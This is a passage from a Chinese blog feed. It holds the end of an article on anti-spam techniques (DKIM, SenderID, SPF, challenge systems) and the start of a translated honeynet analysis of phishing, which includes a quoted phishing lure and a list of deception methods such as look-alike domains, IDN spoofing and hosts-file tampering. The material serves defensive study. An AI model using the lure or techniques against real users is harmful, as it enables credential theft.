<P>&nbsp;&nbsp;&nbsp; DKIM将把这两个验证系统整合起来。它将以和DomainKeys相同的方式用DNS发布的公共密钥验证签名，它也将利用思科的标题签名技术确保一致性。<BR>&nbsp;&nbsp;&nbsp; DKIM给邮件提供一种机制来同时验证每个域邮件发送者和消息的完整性。一旦域能被验证，就用来同邮件中的发送者地址作比较检测伪造。如果是伪造，那么可能是spam或者是欺骗邮件，就可以被丢弃。如果不是伪造的，并且域是已知的，可为其建立起良好的声誉，并绑定到反垃圾邮件策略系统中，也可以在服务提供商之间共享，甚至直接提供给用户。<BR>&nbsp;&nbsp;&nbsp; 对于知名公司来说，通常需要发送各种业务邮件给客户、银行等，这样，邮件的确认就显得很重要。可以保护避免受到phishing攻击。<BR>&nbsp;&nbsp;&nbsp; 现在，DKIM技术标准提交给IETF，可以参考draft文档<A href="http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt">http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt</A></P>
<P>DomainKeys的实现过程</P>
<P>发送服务器经过两步：<BR>1、建立。域所有者需要产生一对公/私钥用于标记所有发出的邮件（允许多对密钥），公钥在DNS中公开，私钥在使用DomainKey的邮件服务器上。<BR>2、签名。当每个用户发送邮件的时候，邮件系统自动使用存储的私钥来产生签名。签名作为邮件头的一部分，然后邮件被传递到接收服务器上。</P>
<P>接收服务器通过三步来验证签名邮件：<BR>1、准备。接收服务器从邮件头提取出签名和发送域（From:）然后从DNS获得相应的公钥。<BR>2、验证。接收服务器用从DNS获得的公钥来验证用私钥产生的签名。这保证邮件真实发送并且没有被修改过。<BR>3、传递。接收服务器使用本地策略来作出最后结果，如果域被验证了，而且其他的反垃圾邮件测试也没有决定，那么邮件就被传递到用户的收件箱中，否则，邮件可以被抛弃、隔离等。</P>
<P>2.2.3、SenderID技术<BR>&nbsp;&nbsp;&nbsp; 2004年，Gates曾信誓旦旦地预言微软能够在未来消灭垃圾邮件，他所期望的就是Sender ID技术，但是，最近他则收回了他的预言。这也就是标准之争，微软希望IETF能够采用Sender ID技术作为标准，并且得到了大量支持，比如Cisco, Comcast, IBM, Cisco,Port25,Sendmail,Symantec,VeriSign等，也包括后来又倒戈的AOL的支持，但是在开源社区，微软一直没有得到足够的支持，IETF最终否决了微软的提议。<BR>&nbsp;&nbsp;&nbsp; SenderID技术主要包括两个方面：发送邮件方的支持和接收邮件方的支持。其中发送邮件方的支持主要有三个部分：发信人需要修改邮件服务器的DNS，增加特定的SPF记录以表明其发信身份，比如"v=spf1 ip4:192.0.2.0/24 -all"，表示使用SPF1版本，对于192.0.2.0/24这个网段是有效的；在可选情况下，发信人的MTA支持在其外发邮件的发信通信协议中增加SUBMITTER等扩展，并在其邮件中增加Resent-Sender、Resent-From、Sender等信头。<BR>&nbsp;&nbsp;&nbsp; 接收邮件方的支持有：收信人的邮件服务器必须采用SenderID检查技术，对收到的邮件检查PRA或MAILFROM，查询发件者DNS的SPF纪录，并以此验证发件者身份。</P>
<P>因此，采用Sender ID技术，其整个过程为：<BR>第一步，发件人撰写邮件并发送；<BR>第二步，邮件转移到接收邮件服务器；<BR>第三步，接收邮件服务器通过SenderID技术对发件人所声称的身份进行检查（该检查通过DNS的特定查询进行）；<BR>第四步，如果发现发信人所声称的身份和其发信地址相匹配，那么接收该邮件，否则对该邮件采取特定操作，比如直接拒收该邮件,或者作为垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; Sender ID技术实际上并不是根除垃圾邮件的法宝，它只是一个解决垃圾邮件发送源的技术，从本质上来说，并不能鉴定一个邮件是否是垃圾邮件。比如，垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，垃圾邮件发送者还可以通过别人的邮件服务器的漏洞转发其垃圾邮件，这同样是SenderID技术所不能解决的。</P>
<P>2.2.4、FairUCE技术<BR>&nbsp;&nbsp;&nbsp; FairUCE（Fair use of Unsolicited Commercial Email）由IBM开发，该技术使用网络领域的内置身份管理工具，通过分析电子邮件域名过滤并封锁垃圾邮件。<BR>&nbsp;&nbsp;&nbsp; FairUCE把收到的邮件同其源头的IP地址相链接--在电子邮件地址、电子邮件域和发送邮件的计算机之间建立起一种联系，以确定电子邮件的合法性。比如采用SPF或者其他方法。如果，能够找到关系，那么检查接受方的黑白名单，以及域名名声，以此决定对该邮件的操作，比如接收、拒绝等。</P>
<P>&nbsp;&nbsp;&nbsp; FairUCE还有一个功能，就是通过溯源找到垃圾邮件的发送源头，并且将那些传递过来的垃圾邮件再转回给发送源头，以此来打击垃圾邮件发送者。这种做法利弊都有。好处就是能够影响垃圾邮件发送源头的性能，坏处就是可能打击倒正常的服务器（比如被利用的）的正常工作，同时该功能又复制了大量垃圾流量。</P>
<P>2.2.5、局限性和缺点<BR>&nbsp;&nbsp;&nbsp; 这些解决方案都具有一定的可用性，但是也存在一些缺点：</P>
<P>**非主机或空的域名<BR>&nbsp;&nbsp;&nbsp; 反向查询方法要求邮件来自已知的并且信任的邮件服务器，而且对应合理IP地址（反向MX纪录）。但是，多数的域名实际上并不同完全静态的IP地址对应。通常情况下，个人和小公司也希望拥有自己的域名，但是，这并不能提供足够的IP地址来满足要求。DNS注册主机，比如GoDaddy，向那些没有主机或只有空域名的人提供免费邮件转发服务。尽管这种邮件转发服务只能管理接收的邮件，而不能提供邮件发送服务。</P>
<P>&nbsp;&nbsp;&nbsp; 反向查询解决方案对这些没有主机或者只有空域名的用户造成一些问题：<BR>&nbsp;&nbsp;&nbsp; &#183;没有反向MX记录。这些用户现在可以配置邮件客户端就可以用自己注册的域名能发送邮件。但是，要反向查询发送者域名的IP地址就根本找不到。特别是对于那些移动的、拨号的和其他会频繁改变自己IP地址的用户。<BR>&nbsp;&nbsp;&nbsp; &#183;不能发送邮件。要解决上面的问题，一个办法就是通过ISP的服务器来转发邮件，这样就可以提供一个反向MX纪录，但是，只要发送者的域名和ISP的域名不一样的时候，ISP现在是不会允许转发邮件的。<BR>&nbsp;&nbsp;&nbsp; 这两种情况下，这些用户都会被反向查询系统拦截掉。</P>
<P>**合法域名<BR>&nbsp;&nbsp;&nbsp; 能验证身份，并不一定就是合法的身份，比如：垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，目前很多垃圾邮件发送者可以通过别人的邮件服务器漏洞进入合法邮件系统来转发其垃圾邮件，这些问题对于验证查询来说还无法解决。</P>
<P>2.3、挑战<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件发送者使用一些自动邮件发送软件每天可以产生数百万的邮件。挑战的技术通过延缓邮件处理过程，将可以阻碍大量邮件发送者。那些只发送少量邮件的正常用户不会受到明显的影响。但是，挑战的技术只在很少人使用的情况下获得了成功。如果在更普及的情况下，可能人们更关心的是是否会影响到邮件传递而不是会阻碍垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 这里介绍两种主要的挑战形式：挑战-响应，和 计算性挑战（challenge-response and proposed computational challenges）</P>
<P>2.3.1&nbsp;&nbsp;&nbsp; 挑战-响应<BR>&nbsp;&nbsp;&nbsp; 挑战-响应（Challenge-Response：CR）系统保留着许可发送者的列表。一个新的邮件发送者发送的邮件将被临时保留下来而不立即被传递。然后向这个邮件发送者返回一封包含挑战的邮件（挑战可以是连接URL或者是要求回复）。当完成挑战后，新的发送者则被加入到许可发送者列表中。对于那些使用假邮件地址的垃圾邮件来说，它们不可能接收到挑战，而如果使用真实邮件地址的话，又不可能回复所有的挑战。但是，CR系统还是有许多局限性：</P>
<P>&nbsp;&nbsp;&nbsp; CR死锁。假如Alice告诉Bill要给朋友Charlie发送邮件。Bill发送一个邮件给Charlie，Charlie的CR系统临时中断邮件并发送给Bill一个挑战。但是Bill的CR系统又会中断Charlie这里发送出来的挑战邮件，并发送自己的挑战。因此，结果就是，用户都没有接收到挑战，而且用户也无法回复邮件。而且用户也无法知道，在挑战过程中发生了问题。因此，如果双方都使用CR系统的话，他们就可能根本无法进行沟通。<BR>&nbsp;&nbsp;&nbsp; 自动系统问题。邮件列表或者那些自动系统，比如一些网站的"发送给朋友&#8230;&#8230;"功能，就不可能回应挑战。<BR>&nbsp;&nbsp;&nbsp; 解释挑战。许多CR系统都执行解释性挑战。这些复杂的CR系统包含了字符识别和参数匹配，但是即便如此，还是能够进行自动化操作。比如，Yahoo的CR系统在创建新邮件账号的时候，对于那些有简单智能字符分析的系统是存在漏洞的。Hushmail的邮件CR系统要求从蓝背景图片中找出指定的图形（分析背景，找出图形，提交坐标，这是可能的）</P>
<P>&nbsp;&nbsp;&nbsp; 这些在市场宣传神化中强调了两点：1、人们必须得提供挑战，2、这些问题都非常复杂而不太可能自动化操作。但是实际上，多数的垃圾邮件发送者完全不理睬了这些CR系统，因为他们主要是担心没有大量的接收者，而不是担心挑战太复杂。许多垃圾邮件发送者也使用有效的邮件地址。当CR系统会干扰垃圾邮件的时候，那些发送者也会找出自动化搞定这些挑战的办法的。</P>
<P>2.3.2、计算性挑战<BR>&nbsp;&nbsp;&nbsp; 现在也提出了一些计算性挑战方案Computational Challenge (CC)，如，通过增加发送邮件的"费用"。多数CC系统使用复杂的算法来有意拖延时间。对于单个用户来说，这种拖延很难被察觉，但是对于发送大量邮件的垃圾邮件发送者来说，这就意味着要花费很多时间了。CC系统的实例，如Hash Cash (<A href="http://www.cypherspace.org/adam/hashcash/">http://www.cypherspace.org/adam/hashcash/</A>)。但是，即便如此，CC系统还是会影响快速通讯而不仅仅影响垃圾邮件。这些局限包括：</P>
<P>&nbsp;&nbsp;&nbsp; &#183;不平等影响。计算性挑战是以CPU、内存和网络为基础的，比如，在1Ghz计算机上挑战可能花费10秒，但是在500Mhz上就需要花费20秒了。<BR>&nbsp;&nbsp;&nbsp; &#183;邮件列表。许多邮件列表都有数千，甚至数百万的接受者。比如BugTraq，就可能会被看作垃圾邮件了。CC系统来处理邮件列表是不现实的。如果垃圾邮件发送有办法通过合法的邮件列表来绕过挑战，那么他们也就有办法绕过其他的挑战了。<BR>&nbsp;&nbsp;&nbsp; &#183;机器人程序。Sobig或者其他象垃圾邮件一样的病毒，能让垃圾邮件发送者控制大量的机器。这就让他们能够用大量的系统来均衡"费用"了。<BR>&nbsp;&nbsp;&nbsp; &#183;合法的机器人程序。垃圾邮件发送者发送垃圾邮件是因为会给他们带来收入。如果这些人联合起来，就可能提供大量的系统来分担"费用"，这完全是合法的，而且不需要通过病毒了。</P>
<P>&nbsp;&nbsp;&nbsp; 当前，计算性挑战还没有广泛应用，因为这种技术还不能解决spam问题，反而可能干扰正常用户。</P>
<P>2.4、密码术<BR>&nbsp;&nbsp;&nbsp; 现在提出了一些采用密码技术来验证邮件发送者的方案。从本质上来说，这些系统采用证书方式来提供证明。没有适当的证书，伪造的邮件就很容易被识别出来，下面就是一些研究中的密码解决办法：</P>
<P>&nbsp;&nbsp;&nbsp; AMTP. <A href="http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt">http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt</A> <BR>&nbsp;&nbsp;&nbsp; MTP. <A href="http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt">http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt</A> <BR>&nbsp;&nbsp;&nbsp; S/MIME and PGP/MIME. <A href="http://www.imc.org/smime-pgpmime.html">http://www.imc.org/smime-pgpmime.html</A> </P>
<P>&nbsp;&nbsp;&nbsp; 目前的邮件协议（SMTP）不能直接支持加密验证。研究中的解决方案扩展了SMTP（比如S/MIME，PGP/MIME和AMTP），还有一些其他的则打算代替现在的邮件体系，比如MTP。有趣的是，MTP的作者说到："SMTP已经有20多年历史了，然而近代的一些需求则在过去5到10年内发展起来。许多扩展都是针对SMTP的语句和语义，纯粹的SMTP不能满足这些需求，如果不改变SMTP的语句，是很难有所突破的。"但是，很多的扩展的SMTP实例恰恰表明了SMTP的可变性，而不是不变性，完全创造一个新的邮件传输协议并不是必须的。</P>
<P>&nbsp;&nbsp;&nbsp; 在采用证书的时候，比如X.509或TLS，某些证书管理机构必须得可用，但是，如果证书存储在DNS，那么私钥必须得在验证的时候可用。（换句话说，如果垃圾邮件发送者可以访问这些私钥，那么他们就可以产生有效的公钥）。另一方面，也要用到主要的证书管理机构（CA），但是，邮件是一种分布式系统，没有人希望所有的邮件都由单独的CA来控制。一些解决办法因此允许多个CA系统，比如，X.509就会确定可用的CA服务器。这种扩展性也导致垃圾邮件发送者也可以运行着私有的CA服务器。</P>
<P>&nbsp;&nbsp;&nbsp; 如果没有证书管理机构，就需要其他的途径在发送者和接收者之间来分发密钥。比如，PGP，就可以预先共享公钥。在未连接网络或者比较封闭的群组中，这种办法是可行的，但是在大量个体使用的时候，就不是太适合，特别是对于需要建立新的联系的情况下。从本质上来说，预先共享密钥有些类似白名单的过滤器：只有彼此知道的人才能发送邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 不幸的是，这些加密解决方案还不能阻止垃圾邮件，比如，假设其中的一种加密方案广泛被接受了。这些办法都不能确认邮件地址是真实的，而只是可以确认发送者有邮件的正确密钥。缺点就是：<BR>&nbsp;&nbsp;&nbsp; &#183;滥用自动化工具。如果在广大范围内被应用，就需要有一种办法为所有用户产生证书或者密钥（包括邮件服务器端，邮件客户端，依赖与相应的解决办法）系统很可能通过一种自动化的方法来提供密钥。可是，可以相信垃圾邮件发送者也会滥用任何自动化系统，并且用来发送经认证的垃圾邮件。<BR>&#183;可用性问题。这也有一些可用性的争论。比如，如果CA服务器不可用怎么办？邮件被挂起？退票？还是依然可用？垃圾邮件发送者近来对一半以上的提供黑名单网站进行了拒绝服务攻击，并导致这些网站都无法访问。显然，这些垃圾邮件发送者想阻止别人更新黑名单。对于单一的CA服务器，很显然也无法避免这样的命运。</P>
<P>3、总结<BR>&nbsp;&nbsp;&nbsp; 上面介绍了一些反垃圾邮件的技术，其实，现在很多反垃圾邮件方案所采用的都不会只是一种技术，而是多种多类技术的综合体。</P>
<P>&nbsp;&nbsp;&nbsp; 垃圾邮件的危害现在已经深入人心，反垃圾邮件也取得越来越多的成绩，比如，Scott Richter向微软赔款700万。不少国家也在为反垃圾邮件进行立法，以便能够得到法律上的支持。</P>
<P>&nbsp;&nbsp;&nbsp; 但从技术上来说，这跟反攻击一样，是一个正反双方的博弈过程，一种新的反垃圾邮件技术必然会出现一种对应得垃圾邮件技术，况且，任何一种技术，还没有办法去解决所有问题，技术的发展也将延续下去。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/225559.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48002/" target="_blank">竞争日趋激烈 微软欲借 Windows 7 扭转战局</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>实例解析网络钓鱼攻击的幕后</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 15 Aug 2005 14:02:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/215630.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/215630.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/215630.html</trackback:ping><description><![CDATA[<P>实例解析网络钓鱼攻击的幕后</P>
<P>网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件，意图引诱收信人给出敏感信息（如用户名、口令、帐号ID、ATM PIN码或信用卡详细信息）的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上，并获取收信人在此网站上输入的个人敏感信息，通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力，因为这些信息使得他们可以假冒受害者进行欺诈性金融交易，从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取并用于犯罪的目的。这篇&#8220;了解你的敌人&#8221;文章旨在基于 德国蜜网项目组和英国蜜网项目组所搜集到的攻击数据给出网络钓鱼攻击的一些实际案例分析。这篇文章关注由蜜网项目组在实际环境中发现的真实存在的网络钓鱼攻击案例，但不会覆盖所有可能存在的网络钓鱼攻击方法和技术。攻击者也在不断地进行技术创新和发展，目前也应该有（本文未提及的）新的网络钓鱼技术已经在开发中，甚至使用中。 </P>
<P>在给出一个简要的引言和背景介绍后，我们将回顾钓鱼者实际使用的技术和工具，给出使用蜜网技术捕获真实世界中的网络钓鱼攻击的三个实验型研究的案例。这些攻击案例将详细地进行描述，包括系统入侵、钓鱼网站架设、消息传播和数据收集等阶段。随后，将对其中普遍应用的技术及网络钓鱼、垃圾邮件和僵尸网络等技术进行融合的趋势给出分析。钓鱼者使用恶意软件进行自动化的Email地址收集和垃圾邮件发送的案例也将被回顾，同时我们也将展示我们在网络扫描技术及被攻陷主机如何被用于传播钓鱼邮件和其他垃圾邮件上的发现。最后，我们对本文给出结论，包括我们在最近6个月内获得的经验，以及我们建议的进一步研究的客体。 </P>
<P>这篇文章包括了丰富的支持性信息，提供了包含特定的网络钓鱼攻击案例更详细数据的链接。最后声明一下，在研究过程中，我们没有收集任何机密性的个人数据。在一些案例中，我们与被涉及网络钓鱼攻击的组织进行了直接联系，或者将这些攻击相关的数据转交给当地的应急响应组织。 </P>
<P>引言 </P>
<P>欺骗别人给出口令或其他敏感信息的方法在黑客界已经有一个悠久的历史。传统上，这种行为一般以社交工程的方式进行。在二十世纪九十年代，随着互联网所连接的主机系统和用户量的飞速增长，攻击者开始将这个过程自动化，从而攻击数量巨大的互联网用户群体。最早系统性地对这种攻击行为进行的研究工作在1998年由Gordon和Chess发表。（Sarah Gordon, David M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet , presented at the Virus Bulletin Conference in Munich, Germany, October 1998）Gordon和Chess研究针对AOL（美国在线）的恶意软件，但实际上他们面对的是网络钓鱼的企图而不是他们所期望的特洛伊木马攻击。网络钓鱼 (Phishing) 这个词 (password harvesting fishing) 描述了通过欺骗手段获取敏感个人信息如口令、信用卡详细信息等的攻击方式，而欺骗手段一般是假冒成确实需要这些信息的可信方。 Gordon 和 Chess 描述的一个钓鱼信件如下所示： </P>
<P>Sector 4G 9E of our data base has lost all I/O functions. When your account logged onto our system, we were temporarily able to verify it as a registered user. Approximately 94 seconds ago, your verification was made void by loss of data in the Sector 4G 9E. Now, due to AOL verification protocol, it is mandatory for us to re-verify you. Please click 'Respond' and re-state your password. Failure to comply will result in immediate account deletion.&nbsp; </P>
<P>早期的网络钓鱼攻击主要目的是获得受害者的AOL账号的访问权，偶尔也期望获取信用卡数据以用于欺诈目的(如非法买卖这些信息)。这些钓鱼的信件通常包含一个简单的诡计从而哄骗一些&#8220;菜鸟&#8221;用户，这些欺骗手段很大程度依赖于受害者对&#8220;自动化的&#8221;系统功能或权威机构的（表面）轮廓的先天性信任，前面的例子中给出一个硬件设备故障或数据库毁坏的情节，大部分的普通用户将会重视任何看起来正式的、或看起来向是为他们提供帮助的紧急的技术上的要求，用户通常会被催促尽快输入其敏感信息从而避免严重后果，如&#8220; &#8230; 重新输入你的口令，如未及时输入则将导致直接删除账号&#8221;。为了避免可能潜在的严重的后果，受害者通常立即照做，从而不知不觉地将这些使用此社交工程手段的黑客所需要的敏感数据提供给了他们。事后的证据表明这些黑客都是单独行动，或是以一个小而简单的组织形式活动。一些文献也描述了早期的网络钓鱼者大多是一些期望获得更多账号数据去恶作剧及打长途电话的青少年，通常没有很强的组织性和蓄意性。 </P>
<P>现在，钓鱼者所首选的策略是通过大量散发诱骗邮件，冒充成一个可信的组织机构（通常是那些钓鱼者所期望的已经被受害者所信任的机构），去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求，而具有讽刺意义的是通常其理由是保护用户的机密性数据免受恶意活动的侵害，这封欺骗性的电子邮件将会包含一个容易混淆的链接，指向一个假冒目标机构公开网站的远程网页。钓鱼者希望受害者能够被欺骗，从而向这个假的、但看起来是目标机构的&#8220;官方&#8221;网站的网页接口输入他们的机密信息。被钓鱼者所青睐的目标机构包括很多著名的银行，信用卡公司和涉及日常性支付行为的知名互联网商务网站（如eBay和Paypal等）。大量针对互联网用户的钓鱼邮件的实例可以在反网络钓鱼工作组（Anti-Phishing Working Group）的网站上的钓鱼邮件归档中可以获得，其中许多邮件都显示了钓鱼者可以欺骗无知的用户相信他们正在访问一个合法的网页接口的极高精确性。 </P>
<P>在这个简要介绍网络钓鱼概念的引言之后，我们将开始回顾在我们观察到的真实网络钓鱼攻击中所实际使用的技术和工具。如果你对网络钓鱼的更深入的背景知识感兴趣，我们为你准备了 具体的背景信息 这个页面。 </P>
<P>工具和策略 </P>
<P>网络钓鱼攻击一般仅利用一些简单的工具和技术来欺骗无戒备心的用户。支撑一次网络钓鱼攻击的底层基础设施可以是最基本的简单地拷贝一个HTML页面，上传到一个刚刚攻陷的网站服务器，以及一个服务器端的用来处理用户输入数据的脚本，也可能涉及更为复杂的网站及内容重定向，但他们的底层目标是一致的——架设一个假冒可信机构的网站，并部署一些必需的后台脚本处理用户的输入数据并让攻击者获取。使用最新的HTML编辑工具可以非常容易地构建出模仿目标组织机构的网站，同时如果攻击者不介意扫描互联网IP地址空间以寻找潜在的有漏洞的主机，缺乏有效的安全防护的网站服务器也能够非常容易地找到并被攻陷。一旦被攻陷，即使是家庭用的PC主机都可以作为钓鱼网站的宿主主机，所以钓鱼者的攻击目标不仅仅是知名的企业和学院里的系统。攻击者经常不分青红皂白地去选择他们的目标主机，而仅仅是在一个大的IP地址空间中随机地扫描，寻找可被利用的特定的安全漏洞。 </P>
<P>一旦钓鱼者建立起一个模仿可信机构的真实且能够让人信以为真的假冒网站后，对他们的重要挑战是如何将用户从一个合法的网站转移到访问他们所架设的假冒网站。除非钓鱼者有能力去改变目标网站的DNS解析（称为DNS中毒攻击）或采取其他方式对网络流量进行重定向（称为pharming的一种技术），他们必须依赖某种形式的内容上的欺骗技巧，去引诱不幸的用户去访问假冒的网站。欺骗技巧的质量越高，他们所撒的渔网就越宽，一个无知的用户错误地访问这个假冒网站（并提供给钓鱼者他的机密信息和私人数据）的机会就越大。 </P>
<P>对攻击者不幸的是，当他们假冒一个组织结构（如一个银行或可信的商务网站），钓鱼者通常没有任何互联网上哪些用户属于他们的客户此类信息，也就不知道哪些用户最容易上钩。即使钓鱼者可以将指向假冒网站的链接发布到与目标机构相关的一些聊天室或论坛上（如一个技术支持网站或网络社区谈论组），目标机构很可能比较迅速地被通知并做出反应，这个链接也会在很多受害者访问它所指向的内容并提交他们的个人信息前被清除。同时对钓鱼者也存在一个显著的风险，目标机构或法律执行部门可能会追踪并关闭这些假冒的网站。因此，钓鱼者需要一个方法，能够在尽量减少他们所承担的风险的同时，在短时间内欺骗尽可能多的潜在受害群体，他们找到了理想的犯罪搭档——垃圾邮件。 </P>
<P>垃圾邮件发送者拥有包括几百万使用中电子邮件地址的数据库，因此最新的垃圾邮件群发技术可以用来帮助一个钓鱼者低风险广泛地发布他们的诱骗邮件。垃圾邮件通常通过一些被攻陷的架设在境外主机上的邮件服务器，或是通过一个全球的傀儡主机网络(botnets)进行发送，因此邮件发送者被追踪的可能性将会很小。如果一个无戒备心的用户收到一封看起来像是由他们的银行所发来的，带有银行正式标志的电子邮件，要求他们访问一个看起来与银行官方网站一摸一样的网站并由于安全理由更改他们在线的银行口令，这比起那些介绍新奇产品并链接到未知网站的普通垃圾邮件来更可能使得用户上当。为了增加用户相信这个邮件是真实的可能性，钓鱼者会应用一些另外的技术来进一步提高他们所进行的诱捕手段的质量： </P>
<P>在指向假冒网站的链接中使用IP地址代替域名。一些无戒备心的用户将不会检查（或不知道如何检查）这个IP地址是否来自假冒网站页面上所声称的目标机构。 </P>
<P>注册发音相近或形似的DNS域名（如 b1gbank.com 或 bigbnk.com 假冒 bigbank.com ），并在上面架设假冒网站，期望用户不会发现他们之间的差异。 </P>
<P>在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站的链接，从而使得用户的网站浏览器的大多数HTTP连接是指向真实的目标网站，而仅有少数的关键连接（如提交敏感信息的页面）指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取，那会在电子邮件被读取的时候自动地连接假冒网站，手动地浏览也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接。 </P>
<P>对假冒网站的URL进行编码和混淆，很多用户不会注意到或者理解URL链接被做过什么处理，并会假设它是良性的。IDN欺骗技术（IDN spoofing）就是这样的一种技术，它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址，但实际上却指向一个完全不同的地址。 </P>
<P>企图攻击用户网页浏览器存在的漏洞，使之隐藏消息内容的实质。微软的IE和Outlook都被发现过存在可以被这种技术攻击的漏洞（如地址栏假冒和IFrame element漏洞）。 </P>
<P>将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志，然后将用户重定向到真实的网站。这将导致一个&#8220;口令错误，请重试&#8221;错误，或甚至完全透明，但在每种情况下，大部分用户都不会发觉，更相信是自己的错误输入，而不会想到是由于恶意第三方的干涉。</P>
<P>架设一个假冒网站，作为目标机构真实网站的代理，并偷摸地记录未使用SSL加密保护的口令信息（或甚至为假冒的域名注册一个有效的SSL证书从而对SSL加密保护的口令信息进行记录）。 </P>
<P>首先通过恶意软件在受害者的PC上首先安装一个恶意的浏览器助手工具（Browser Helper Object），然后由其将受害者重定向到假冒的钓鱼网站。BHO是一些设计用于定制和控制IE浏览器的DLL，如果成功，受害者将会被欺骗，相信他们正在访问合法的网站内容，然而实际上却在访问一个假冒的钓鱼网站。 </P>
<P>使用恶意软件去修改受害者PC上的用来维护本地DNS域名和IP地址映射的hosts文件，这将使得他们的网页浏览器在连接架设假冒钓鱼网站的服务器时，却让用户看起来像是访问目标机构的合法网站。 </P>
<P>由于很多电子商务或在线银行应用的复杂性，他们的网站经常使用HTML框架结构或其他复杂的页面结构架设，这也可能使得一个终端用户很难判断一个特定的网页是否合法。上述列举的这些技术的组合使用可以隐藏一个精心设计的网页的真实来源，也使得一个无戒备心的用户很可能被引诱去访问钓鱼者的假冒网站，不知不觉地泄漏他们的认证口令信息和所需要的数字身份信息，从而成为一次成功的网络钓鱼攻击的又一个受害者。 </P>
<P>真实世界的网络钓鱼技术 </P>
<P>互联网用户也经常在他们自己收到欺骗性邮件发觉网络钓鱼攻击，也常常在钓鱼网站所临时架设的主机被 关闭很长时间后在 技术新闻站点上看到这些恶意网站的记录副本，但这些事件只能被孤立从受害者的角度去观察。蜜网技术能够提供的一个最大的优势在于其能够从攻击者角度捕获全部行为的能力，使得安全分析员能够对网络钓鱼攻击的整个生命周期建立起一个完整的理解，来自蜜网研究联盟的成员们非常幸运地捕获了丰富的网络钓鱼攻击数据集，能够帮助他们了解真实的一次网络钓鱼攻击的全过程，从最初主机被攻陷、钓鱼网站的架设、群发垃圾邮件、到最后的受害者数据捕获。三个反映典型的真实世界网络钓鱼攻击技术的实际案例将在下面被展示和分析。 </P>
<P>第一种网络钓鱼技术：通过攻陷的网站服务器钓鱼 </P>
<P>大部分我们观察到真实世界中的网络钓鱼攻击涉及到攻击者攻入有漏洞的服务器，并安装恶意的网页内容。蜜网技术使得我们可以捕获一次网络钓鱼攻击的生命周期中的详细数据，在我们观察到的这些攻击事件中，普遍地存在如下一些事件： </P>
<P>攻击者扫描网段，寻找有漏洞的服务器 </P>
<P>服务器被攻陷，并安装一个rootkit或口令保护的后门工具 </P>
<P>钓鱼者从加密的后门工具获得对服务器的访问权 </P>
<P>如果这个被攻陷的服务器是一个网站服务器，则下载已构建完毕的钓鱼网站内容 </P>
<P>进行有限的一些内容配置和网站测试工作（这也潜在地预示着第一次访问钓鱼网站的IP地址可能是钓鱼者的真实IP地址） </P>
<P>群发电子邮件工具被下载，并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件 </P>
<P>网页浏览的流量开始到达钓鱼网站，潜在的受害者开始访问恶意的网页内容 </P>
